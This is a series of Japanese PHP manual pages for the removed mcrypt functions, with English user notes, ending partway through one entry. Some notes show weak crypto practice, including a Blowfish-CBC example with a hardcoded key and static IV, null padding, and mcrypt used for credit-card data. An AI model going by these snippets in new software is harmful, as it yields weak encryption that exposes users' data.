mcrypt_generic_deinit ( resource $td ) : bool

この関数は、暗号化記述子(td)で指定した 暗号化を終了します。すべてのバッファを消去しますが、モジュールは 閉じません。mcrypt_module_close() をコールする 必要があります(しかし、スクリプトの終了時に PHP が自動でこれを 行います)。

パラメータ

td

暗号化記述子。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mcrypt_module_open() - 使用するアルゴリズムおよびモードのモジュールをオープンする
  • mcrypt_generic_init() - 暗号化に必要な全てのバッファを初期化する

User Contributed Notes

There are no user contributed notes for this page.


暗号処理を終了する

  • ≪ mcrypt_generic_deinit
  • mcrypt_generic_init ≫
  • PHP Manual
  • Mcrypt 関数
  • 暗号処理を終了する

mcrypt_generic_end

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_generic_end — 暗号処理を終了する

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • mcrypt_generic_deinit()

説明

mcrypt_generic_end ( resource $td ) : bool

警告

mcrypt_generic_deinit() を使用してください。 mcrypt_module_close() とともに使用すると、 複数バッファの開放によりクラッシュを引き起こすことがあります。

この関数は、暗号化記述子(td) で指定した暗号化処理を終了します。 この関数は全てのバッファをクリアし、使用した全てのモジュールを クローズします。エラーの場合に false、成功時に true を返します。

変更履歴

バージョン | 説明
7.0.0 | mcrypt_generic_end 関数が削除されました。

User Contributed Notes

There are no user contributed notes for this page.


暗号化に必要な全てのバッファを初期化する

  • ≪ mcrypt_generic_end
  • mcrypt_generic ≫
  • PHP Manual
  • Mcrypt 関数
  • 暗号化に必要な全てのバッファを初期化する

mcrypt_generic_init

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic_init — 暗号化に必要な全てのバッファを初期化する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_generic_init ( resource $td , string $key , string $iv ) : int

mcrypt_generic() または mdecrypt_generic() をコールする前に、 常にこの関数をコールする必要があります。

パラメータ

td

暗号化記述子。

key

キーの最大長は、mcrypt_enc_get_key_size() を コールした際に得られるキー長であり、この値より小さな値は全て有効です。

iv

IV は通常そのアルゴリズムのブロック長と同じ大きさですが、 mcrypt_enc_get_iv_size() をコールする ことにより、その大きさを得る必要があります。IV は ECB では 無視されます。IV は CFB、CBC、STREAM、nOFB では必須です。 IV はランダムで一意である必要があります(しかし、秘密ではある必要は ありません)。暗号化と復号で同じ IV を使用する必要があります。 IV を使用したくない場合にはゼロに設定しますが、これは推奨されません。

返り値

この関数は、エラー時に負の値を返します。キー長が不正な場合に -3、メモリの確保に問題があった場合に -4、そしてそれ以外の返り値は その他のエラーとなります。エラーが警告を発生させた場合、それが 表示されます。間違ったパラメータが渡された場合には false が返されます。

参考

  • mcrypt_module_open() - 使用するアルゴリズムおよびモードのモジュールをオープンする

User Contributed Notes

Anonymous 26-Feb-2013 06:33
The mcrypt implementation of RC2 algorithm supports an effective key length of 1024 bits only.
It is however possible to use an effective key length in 1..1024 bits, by transforming the key before use as follows:

<?php

function transformKey($key, $effKeyLen)

{
    $pitable = array(
        0xD9, 0x78, 0xF9, 0xC4, 0x19, 0xDD, 0xB5, 0xED, 0x28, 0xE9, 0xFD, 0x79, 0x4A, 0xA0, 0xD8, 0x9D,
        0xC6, 0x7E, 0x37, 0x83, 0x2B, 0x76, 0x53, 0x8E, 0x62, 0x4C, 0x64, 0x88, 0x44, 0x8B, 0xFB, 0xA2,
        0x17, 0x9A, 0x59, 0xF5, 0x87, 0xB3, 0x4F, 0x13, 0x61, 0x45, 0x6D, 0x8D, 0x09, 0x81, 0x7D, 0x32,
        0xBD, 0x8F, 0x40, 0xEB, 0x86, 0xB7, 0x7B, 0x0B, 0xF0, 0x95, 0x21, 0x22, 0x5C, 0x6B, 0x4E, 0x82,
        0x54, 0xD6, 0x65, 0x93, 0xCE, 0x60, 0xB2, 0x1C, 0x73, 0x56, 0xC0, 0x14, 0xA7, 0x8C, 0xF1, 0xDC,
        0x12, 0x75, 0xCA, 0x1F, 0x3B, 0xBE, 0xE4, 0xD1, 0x42, 0x3D, 0xD4, 0x30, 0xA3, 0x3C, 0xB6, 0x26,
        0x6F, 0xBF, 0x0E, 0xDA, 0x46, 0x69, 0x07, 0x57, 0x27, 0xF2, 0x1D, 0x9B, 0xBC, 0x94, 0x43, 0x03,
        0xF8, 0x11, 0xC7, 0xF6, 0x90, 0xEF, 0x3E, 0xE7, 0x06, 0xC3, 0xD5, 0x2F, 0xC8, 0x66, 0x1E, 0xD7,
        0x08, 0xE8, 0xEA, 0xDE, 0x80, 0x52, 0xEE, 0xF7, 0x84, 0xAA, 0x72, 0xAC, 0x35, 0x4D, 0x6A, 0x2A,
        0x96, 0x1A, 0xD2, 0x71, 0x5A, 0x15, 0x49, 0x74, 0x4B, 0x9F, 0xD0, 0x5E, 0x04, 0x18, 0xA4, 0xEC,
        0xC2, 0xE0, 0x41, 0x6E, 0x0F, 0x51, 0xCB, 0xCC, 0x24, 0x91, 0xAF, 0x50, 0xA1, 0xF4, 0x70, 0x39,
        0x99, 0x7C, 0x3A, 0x85, 0x23, 0xB8, 0xB4, 0x7A, 0xFC, 0x02, 0x36, 0x5B, 0x25, 0x55, 0x97, 0x31,
        0x2D, 0x5D, 0xFA, 0x98, 0xE3, 0x8A, 0x92, 0xAE, 0x05, 0xDF, 0x29, 0x10, 0x67, 0x6C, 0xBA, 0xC9,
        0xD3, 0x00, 0xE6, 0xCF, 0xE1, 0x9E, 0xA8, 0x2C, 0x63, 0x16, 0x01, 0x3F, 0x58, 0xE2, 0x89, 0xA9,
        0x0D, 0x38, 0x34, 0x1B, 0xAB, 0x33, 0xFF, 0xB0, 0xBB, 0x48, 0x0C, 0x5F, 0xB9, 0xB1, 0xCD, 0x2E,
        0xC5, 0xF3, 0xDB, 0x47, 0xE5, 0xA5, 0x9C, 0x77, 0x0A, 0xA6, 0x20, 0x68, 0xFE, 0x7F, 0xC1, 0xAD);
    $invpitable = array_flip($pitable);

    //    Apply the regular RC2 key expansion algorithm.
    $t = strlen($key);
    $key = array_values(unpack('C*C', $key));

    for ($i = $t; $i < 128; $i++)
        $key[$i] = $pitable[($key[$i - 1] + $key[$i - $t]) & 0xFF];

    $t8 = ($effKeyLen + 7) >> 3;
    $tm = 0xFF >> (8 * $t8 - $effKeyLen);
    $i = 128 - $t8;
    $key[$i] = $pitable[$key[$i] & $tm];

    while ($i--)
        $key[$i] = $pitable[$key[$i + 1] ^ $key[$i + $t8]];

    //    Map the first byte: this operation will be undone by
    //        mcrypt internals.
    $key[0] = $invpitable[$key[0]];

    //    Return the transformed key as a string.
    array_unshift($key, 'C*');
    return call_user_func_array('pack', $key);
}

//    Usage example
$r = mcrypt_module_open(MCRYPT_RC2, $algoDir, $mode, $modeDir);
mcrypt_generic_init($r, transformKey($originalKey, $effectiveKeyLength), $iv);

?>


データを暗号化する

  • ≪ mcrypt_generic_init
  • mcrypt_get_block_size ≫
  • PHP Manual
  • Mcrypt 関数
  • データを暗号化する

mcrypt_generic

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_generic — データを暗号化する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_generic ( resource $td , string $data ) : string

この関数は、データを暗号化します。データ長を n * blocksize とする ために、データは "\0" で埋められます。 この関数は、暗号化されたデータを返します。 データのパディングが行われるため、返される文字列の長さは 入力よりも長いことがあることに注意してください。

暗号化したデータをデータベースに格納する場合は、mcrypt_generic が返す文字列全てを格納することを忘れないでください。さもないと、 文字列を適切に復号できなくなります。もとの文字列が 10 文字で ブロックサイズが 8 (ブロックサイズを調べるには mcrypt_enc_get_block_size() を使用します) だった場合、データベースのフィールドには少なくとも 16 文字が 必要です。mdecrypt_generic() が返す文字列も 16 文字となることに注意しましょう。埋められた文字を取り除くには... rtrim($str, "\0") を使用します。

もし MySQL データベースにデータを格納する場合は、 varchar フィールドに値を挿入する際に末尾のスペースが取り除かれることを 覚えておきましょう。暗号化されたデータの最後にスペース(ASCII 32)が 含まれていた場合、この処理によってデータが破壊されてしまいます。 かわりに tinyblob/tinytext (あるいはより大きな) フィールドを 使用してください。

パラメータ

td

暗号化記述子。

この関数をコールする前には、常にキーと IV を用いて mcrypt_generic_init() で暗号化ハンドルを 初期化しておくべきです。暗号化が終了したら、 mcrypt_generic_deinit() をコールして 暗号化バッファを開放すべきです。使用例は mcrypt_module_open() を参照ください。

data

暗号化するデータ。

返り値

暗号化したデータを返します。

参考

  • mdecrypt_generic() - データを復号する
  • mcrypt_generic_init() - 暗号化に必要な全てのバッファを初期化する
  • mcrypt_generic_deinit() - 暗号化モジュールを終了する

User Contributed Notes

maxximus007 at gmail dot com 16-Aug-2007 08:21
Behaviour change: Since 5.2.x mcrypt_generic will issue a warning when the datastring is empty.
tmacedo at linux dot ime dot usp dot br 13-Nov-2006 09:22
completing  the post from Ryan Thomas, ryanrst at gmail dot com, if u post a cookie w/ HTTP method, its may be encoded;
As some chars in base64 will be encoded to another things, u can just replace them before encode and after decode;
Its a tweak from dawgeatschikin at hotmail dot com to original idea from massimo dot scamarcia at gmail dot com
(see @ http://www.php.net/manual/en/function.base64-encode.php):
<?php
function urlsafe_b64encode($string)
{
  $data = base64_encode($string);
  $data = str_replace(array('+','/','='),array('-','_','.'),$data);
  return $data;
}
function urlsafe_b64decode($string)
{
  $data = str_replace(array('-','_','.'),array('+','/','='),$string);
  $mod4 = strlen($data) % 4;
  if ($mod4) {
    $data .= substr('====', $mod4);
  }
  return base64_decode($data);
}
?>
chad 0x40 herballure 0x2e com 12-Jul-2006 08:28
Addendum to my previous note: apparently there was some sort of character encoding breakage; PHP does not pad if no padding is needed, and the extra padding I saw was the result of chr(X) returning multiple bytes or something.

The pad/unpad functions I gave are still binary-safe, though, and are to the best of my knowledge completely compatible with NIST 800-38a.
chad 0x40 herballure 0x2e com 12-Jul-2006 07:36
If the data is already n*blocksize long, PHP pads with another full block of "\0", so there will be between 1 and mcrypt_enc_get_block_size($td) bytes of padding.

You can create binary-safe padding by unconditionally adding a 0x80 to the string, then stripping trailing "\0"s PHP added, plus the one 0x80 byte.

<?php
function pad($text) {
  // Add a single 0x80 byte and let PHP pad with 0x00 bytes.
  return pack("a*H2", $text, "80");
}
function unpad($text) {
  // Return all but the trailing 0x80 from text that had the 0x00 bytes removed
  return substr(rtrim($text, "\0"), 0, -1);
}
?>
eric at ez-llc dot com 11-Mar-2006 12:55
I was able get php and perl to play together with blowfish using cipher block chaining.  The blowfish key needs to be atleast 8 chars (even though blowfish min is 8 bits, perl didn't like keys smaller than 8 chars) and max 56.  The iv must be exactly 8 chars and padding needs to be null because php pads with nulls.  Also, php needs libmcrypt >= 2.4.9 to be compatible with perl.

PERL
----

use Crypt::CBC;
$cipher = Crypt::CBC->new( {'key' => 'my secret key',
                                    'cipher'=> 'Blowfish',
                                    'iv' => '12345678',
                                    'regenerate_key' => 0,
                                    'padding' => 'null',
                                    'prepend_iv' => 0
                                    });
$cc = 'my secret text';
$encrypted = $cipher->encrypt($cc);
$decrypted = $cipher->decrypt($encrypted);

print "encrypted : ".$encrypted;
print "<br>";
print "decrypted : ".$decrypted;

PHP
---

$cc = 'my secret text';
$key = 'my secret key';
$iv = '12345678';

$cipher = mcrypt_module_open(MCRYPT_BLOWFISH,'','cbc','');

mcrypt_generic_init($cipher, $key, $iv);
$encrypted = mcrypt_generic($cipher,$cc);
mcrypt_generic_deinit($cipher);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$encrypted);
mcrypt_generic_deinit($cipher);

echo "encrypted : ".$encrypted;
echo "<br>";
echo "decrypted : ".$decrypted;
Ryan Thomas, ryanrst at gmail dot com 05-Jan-2006 02:15
If you wish to store encrypted data in a cookie variable on the browser you will encounter problems when decrypting the data. This is because cookies will only store US-ASCII characters and your encrypted data may contain non-US-ASCII characters.

The solution:

base64_encode your encrypted string before you store it in the cookie and base64_decode the string stored in the cookie becore decrypting.

Example:

function setEncryptedCookie($cookieName, $data)
{
  setcookie($cookieName, base64_encode($this->encrypt($data)), time()+$this->expire);
}

function getEncryptedCookie($cookieName)
{
  return $this->decrypt(base64_decode($_COOKIE[$cookieName]));
}
pauls at sellingsource dot com 15-May-2003 11:02
If you are encrypting binary and there is a null terminator partway through your encryption, you will loose the rest of the string.  A workaround is to base64_encode your binary string first.

We found this problem while trying to encrypt CC information.  Some CC values would not decrypt after we converted them to a binary string.

We were using the MCRYPT_RIJNDAEL_256 module to encrypt with.

Hope this helps someone.


指定した暗号のブロックサイズを得る

  • ≪ mcrypt_generic
  • mcrypt_get_cipher_name ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定した暗号のブロックサイズを得る

mcrypt_get_block_size

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_block_size — 指定した暗号のブロックサイズを得る

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_get_block_size ( int $cipher ) : int|false
mcrypt_get_block_size ( string $cipher , string $mode ) : int|false

最初のプロトタイプは libmcrypt 2.2.x とリンクした場合であり、2 番目 のものは libmcrypt 2.4.x あるいは 2.5.x とリンクした場合です。

mcrypt_get_block_size()は、指定した cipher のブロック長を返します (暗号化モードと組み合わせます)。

mcrypt_enc_get_block_size() 関数のほうがより有用です。というのもこちらの関数は mcrypt_module_open() が返すリソースを使用するからです。

パラメータ

cipher

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

返り値

アルゴリズムのブロックサイズをバイト数で返します。失敗した場合に false を返します.

例

例1 mcrypt_get_block_size() の例

この例は、libmcrypt 2.4.x および 2.5.x を対象にリンクした際の使用法を示すものです。

<?php

echo mcrypt_get_block_size('tripledes', 'ecb'); // 8

?>

参考

  • mcrypt_get_key_size() - 指定した暗号のキーの長さを得る
  • mcrypt_enc_get_block_size() - Returns the blocksize of the opened algorithm
  • mcrypt_encrypt() - 指定したパラメータでプレーンテキストを暗号化する

User Contributed Notes

mehaase at gmail dot com 14-Nov-2014 06:57
You should explain that the block size is return in BYTES, not the more commonly used unit, bits. Many readers are not going to know the DES block size and figure this out on their own.


指定した暗号の名前を得る

  • ≪ mcrypt_get_block_size
  • mcrypt_get_iv_size ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定した暗号の名前を得る

mcrypt_get_cipher_name

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_cipher_name — 指定した暗号の名前を得る

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_get_cipher_name ( int $cipher ) : string
mcrypt_get_cipher_name ( string $cipher ) : string

mcrypt_get_cipher_name() は、指定した暗号(cipher) の名前を得るために使用されます。

mcrypt_get_cipher_name() は、暗号の番号 (libmcrypt 2.2.x)または暗号名(libmcrypt 2.4.x 以降)を引数とし、 暗号名を返します。指定した暗号が存在しない場合は false を返します。

パラメータ

cipher

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

返り値

暗号の名前、あるいは暗号が存在しない場合に false を返します。

例

例1 mcrypt_get_cipher_name() の例

<?php
   $cipher = MCRYPT_TripleDES;

   echo mcrypt_get_cipher_name($cipher);
?>

上の例の出力は以下となります。

3DES

User Contributed Notes

There are no user contributed notes for this page.


指定した暗号/モードの組み合わせに属する IV の大きさを返す

  • ≪ mcrypt_get_cipher_name
  • mcrypt_get_key_size ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定した暗号/モードの組み合わせに属する IV の大きさを返す

mcrypt_get_iv_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_iv_size — 指定した暗号/モードの組み合わせに属する IV の大きさを返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_get_iv_size ( string $cipher , string $mode ) : int

指定した cipher/mode の組み合わせにおける IV の大きさを取得します。

mcrypt_enc_get_iv_size() 関数を使用するほうが より有用です。これは mcrypt_module_open() が返すリソースを使用します。

パラメータ

cipher

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

ECB モードでは IV は要求されないため、IV は無視されます。 暗号化と復号の際には、同じ IV(開始位置)を必要とします。さもないと 暗号化処理は失敗します。

返り値

初期化ベクトル(IV)の大きさをバイト数で返します。 エラーの際には false を返します。IV が指定した暗号/モードで無視される場合には、ゼロを返します。

例

例1 mcrypt_get_iv_size() の例

<?php
    echo mcrypt_get_iv_size(MCRYPT_CAST_256, MCRYPT_MODE_CFB) . "\n";

    echo mcrypt_get_iv_size('des', 'ecb') . "\n";
?>

参考

  • mcrypt_get_block_size() - 指定した暗号のブロックサイズを得る
  • mcrypt_enc_get_iv_size() - オープンされたアルゴリズムの IV の大きさを返す
  • mcrypt_create_iv() - Creates an initialization vector (IV) from a random source

User Contributed Notes

Hernanibus 28-Jun-2016 05:45
The size of the initialization vector (iv) will be returned in bytes NOT bits, something to keep in mind specially if the iv is passed together appended or prepended with the encrypted data for decryption


指定した暗号のキーの長さを得る

  • ≪ mcrypt_get_iv_size
  • mcrypt_list_algorithms ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定した暗号のキーの長さを得る

mcrypt_get_key_size

(PHP 4, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_get_key_size — 指定した暗号のキーの長さを得る

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_get_key_size ( int $cipher ) : int|false
mcrypt_get_key_size ( string $cipher , string $mode ) : int|false

最初のプロトタイプは libmcrypt 2.2.x とリンクした場合であり、2 番目の ものは libmcrypt 2.4.x あるいは 2.5.x とリンクした場合です。

mcrypt_get_key_size() は、 cipher で(暗号化モードとあわせて)指定した キーの長さを得るために使用されます。

mcrypt_enc_get_key_size() 関数を使用するほうが より有用です。これは mcrypt_module_open() が返すリソースを使用します。

パラメータ

cipher

MCRYPT_暗号名 定数のいずれか、 あるいはアルゴリズム名をあらわす文字列。

mode

定数 MCRYPT_MODE_モード名、あるいは文字列 "ecb", "cbc", "cfb", "ofb", "nofb" ,"stream" のいずれか。

返り値

そのアルゴリズムでサポートする最長のキーサイズをバイト数で返します。 失敗した場合に false を返します.

例

例1 mcrypt_get_key_size() の例

<?php
    echo mcrypt_get_key_size('tripledes', 'ecb');
?>

この例では、libmcrypt 2.4.x および 2.5.x とリンクした場合の この関数の使用法を示します。

上の例の出力は以下となります。

24

参考

  • mcrypt_get_block_size() - 指定した暗号のブロックサイズを得る
  • mcrypt_enc_get_key_size() - オープンされたモードでサポートされる最大キー長を返す
  • mcrypt_encrypt() - 指定したパラメータでプレーンテキストを暗号化する

User Contributed Notes

Robin 09-Mar-2010 04:43
While not specified in the description, this function, just like mcrypt_enc_get_key_size(), returns the cipher's largest key size in BYTES.


サポートされる全ての暗号を配列として取得する

  • ≪ mcrypt_get_key_size
  • mcrypt_list_modes ≫
  • PHP Manual
  • Mcrypt 関数
  • サポートされる全ての暗号を配列として取得する

mcrypt_list_algorithms

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_list_algorithms — サポートされる全ての暗号を配列として取得する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_list_algorithms ( string $lib_dir = ini_get("mcrypt.algorithms_dir") ) : array

lib_dir パラメータにあるサポートするすべてのアルゴリズムの一覧を取得します。

パラメータ

lib_dir

すべてのアルゴリズムが存在するディレクトリを指定します。 指定しない場合は、php.ini の mcrypt.algorithms_dir ディレクティブを使用します。

返り値

サポートするすべてのアルゴリズムを配列で返します。

例

例1 mcrypt_list_algorithms() の例

<?php
$algorithms = mcrypt_list_algorithms();
print_r($algorithms);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => cast-128
    [1] => gost
    [2] => rijndael-128
    [3] => twofish
    [4] => arcfour
    [5] => cast-256
    [6] => loki97
    [7] => rijndael-192
    [8] => saferplus
    [9] => wake
    [10] => blowfish-compat
    [11] => des
    [12] => rijndael-256
    [13] => serpent
    [14] => xtea
    [15] => blowfish
    [16] => enigma
    [17] => rc2
    [18] => tripledes
)

User Contributed Notes

There are no user contributed notes for this page.


サポートされる全てのモードの配列を取得する

  • ≪ mcrypt_list_algorithms
  • mcrypt_module_close ≫
  • PHP Manual
  • Mcrypt 関数
  • サポートされる全てのモードの配列を取得する

mcrypt_list_modes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_list_modes — サポートされる全てのモードの配列を取得する

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_list_modes ( string $lib_dir = ini_get("mcrypt.modes_dir") ) : array

lib_dir にあるすべてのサポートするモードの一覧を取得します。

パラメータ

lib_dir

すべてのモードが存在するディレクトリを指定します。 指定しない場合は、 php.ini ディレクティブ mcrypt.modes_dir を使用します。

返り値

サポートするすべてのモードを配列で返します。

例

例1 mcrypt_list_modes() の例

<?php
    $modes = mcrypt_list_modes();

    foreach ($modes as $mode) {
        echo "$mode <br />\n";
    }
?>

上の例は、デフォルトのモードディレクトリにあるサポートされる 全てのアルゴリズムの一覧を出力します。php.ini ディレクティブの mcrypt.modes_dir でこれが設定されていない場合、mcrypt の デフォルトディレクトリ(/usr/local/lib/libmcrypt)が使用されます。

User Contributed Notes

There are no user contributed notes for this page.


mcrypt モジュールを閉じる

  • ≪ mcrypt_list_modes
  • mcrypt_module_get_algo_block_size ≫
  • PHP Manual
  • Mcrypt 関数
  • mcrypt モジュールを閉じる

mcrypt_module_close

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_close — mcrypt モジュールを閉じる

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_close ( resource $td ) : bool

指定した暗号化ハンドルを閉じます。

パラメータ

td

暗号化記述子。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mcrypt_module_open() - 使用するアルゴリズムおよびモードのモジュールをオープンする

User Contributed Notes

There are no user contributed notes for this page.


指定したアルゴリズムのブロック長を返す

  • ≪ mcrypt_module_close
  • mcrypt_module_get_algo_key_size ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定したアルゴリズムのブロック長を返す

mcrypt_module_get_algo_block_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_algo_block_size — 指定したアルゴリズムのブロック長を返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_get_algo_block_size ( string $algorithm , string $lib_dir = ? ) : int

指定したアルゴリズムのブロック長を取得します。

パラメータ

algorithm

アルゴリズム名。

lib_dir

オプションのパラメータで、 システム上でのモードモジュールの位置を指定することが可能です。

返り値

指定したアルゴリズムでサポートされるブロック長をバイト単位で返します。

User Contributed Notes

There are no user contributed notes for this page.


オープンされたモードでサポートされる最大キー長を返す

  • ≪ mcrypt_module_get_algo_block_size
  • mcrypt_module_get_supported_key_sizes ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたモードでサポートされる最大キー長を返す

mcrypt_module_get_algo_key_size

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_algo_key_size — オープンされたモードでサポートされる最大キー長を返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_get_algo_key_size ( string $algorithm , string $lib_dir = ? ) : int

オープンされたモードでサポートされる最大キー長を取得します。

パラメータ

algorithm

アルゴリズム名。

lib_dir

オプションのパラメータで、 システム上でのモードモジュールの位置を指定することが可能です。

返り値

この関数は、指定したアルゴリズムでサポートされる最大キー長をバイト単位で返します。

User Contributed Notes

There are no user contributed notes for this page.


オープンされたアルゴリズムでサポートされるキーのサイズを配列として返す

  • ≪ mcrypt_module_get_algo_key_size
  • mcrypt_module_is_block_algorithm_mode ≫
  • PHP Manual
  • Mcrypt 関数
  • オープンされたアルゴリズムでサポートされるキーのサイズを配列として返す

mcrypt_module_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_get_supported_key_sizes — オープンされたアルゴリズムでサポートされるキーのサイズを配列として返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_get_supported_key_sizes ( string $algorithm , string $lib_dir = ? ) : array

指定したアルゴリズムでサポートされるキーのサイズを配列で返します。 この関数が空の配列を返した場合、1 から mcrypt_module_get_algo_key_size() の返り値の間のすべてのサイズのキーがアルゴリズムでサポートされます。

パラメータ

algorithm

使用するアルゴリズム。

lib_dir

オプションのパラメータ lib_dir により、 システムでアルゴリズムモジュールがある場所を指定することが可能です。

返り値

指定したアルゴリズムでサポートするキーサイズの配列を返します。 空の配列を返した場合は、そのアルゴリズムでは 1 から mcrypt_module_get_algo_key_size() までのすべてのキーサイズをサポートすることになります。

参考

  • mcrypt_enc_get_supported_key_sizes() - オープンされたアルゴリズムでサポートされるキー長を配列にして返す

User Contributed Notes

Daniel Bartlett <dan at lockedbox dot net> 11-Feb-2004 10:50
A small bit of php for listing available encryption algorythms and their keysizes.

<?php
$cipher_dir = "/usr/local/lib/libmcrypt";
$algorithms = mcrypt_list_algorithms($cipher_dir);
echo "<html><head></head><body><table><tr>\n";
foreach ($algorithms as $cipher) {
        echo "<td>" . $cipher . "</td><td>";
        $ksizes = mcrypt_module_get_supported_key_sizes($cipher, $cipher_dir);
        if($ksizes==NULL) echo mcrypt_module_get_algo_key_size($cipher, $cipher_dir);
        else foreach ($ksizes as $size) {
                echo $size . " ";
        }
        echo "</td></tr>\n";
}
echo "</table></body></html>\n";
?>

I hope some one finds it handy.


指定したモジュールがブロックアルゴリズムであるかどうかを返す

  • ≪ mcrypt_module_get_supported_key_sizes
  • mcrypt_module_is_block_algorithm ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定したモジュールがブロックアルゴリズムであるかどうかを返す

mcrypt_module_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_algorithm_mode — 指定したモジュールがブロックアルゴリズムであるかどうかを返す

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_is_block_algorithm_mode ( string $mode , string $lib_dir = ? ) : bool

この関数は、mode がブロックアルゴリズムを使用する場合に true、 その他の場合に false を返します。(例: stream の場合に false、 cbc、cfb、ofb の場合に true)

パラメータ

mode

調べたいモード。

lib_dir

オプションのパラメータ lib_dir により、 システム上での mode モジュールの位置を指定することが可能です。

返り値

この関数は、mode がブロックアルゴリズムを使用する場合に true、 その他の場合に false を返します。(例: stream の場合に false、 cbc、cfb、ofb の場合に true)

User Contributed Notes

There are no user contributed notes for this page.


指定したアルゴリズムがブロックアルゴリズムであるかを調べる

  • ≪ mcrypt_module_is_block_algorithm_mode
  • mcrypt_module_is_block_mode ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定したアルゴリズムがブロックアルゴリズムであるかを調べる

mcrypt_module_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_algorithm — 指定したアルゴリズムがブロックアルゴリズムであるかを調べる

警告

この関数は PHP 7.1.0 で 非推奨となり、PHP 7.2.0 で削除 されました。この関数に頼らないことを強く推奨します。

説明

mcrypt_module_is_block_algorithm ( string $algorithm , string $lib_dir = ? ) : bool

この関数は、指定したアルゴリズムがブロックアルゴリズムの場合に true、ストリームアルゴリズムの場合に false を返します。

パラメータ

algorithm

調べたいアルゴリズム。

lib_dir

オプションのパラメータ lib_dir により、 システム上での algorithm モジュールの位置を指定することが可能です。

返り値

この関数は、指定したアルゴリズムがブロックアルゴリズムの場合に true、ストリームアルゴリズムの場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定したモードがブロック出力を行うかどうかを返す

  • ≪ mcrypt_module_is_block_algorithm
  • mcrypt_module_open ≫
  • PHP Manual
  • Mcrypt 関数
  • 指定したモードがブロック出力を行うかどうかを返す

mcrypt_module_is_block_mode

(PHP 4 >= 4.0.2, PHP 5, PHP 7 < 7.2.0, PECL mcrypt >= 1.0.0)

mcrypt_module_is_block_mode — 指定したモードがブロック出力を行うかどうかを返す

警告

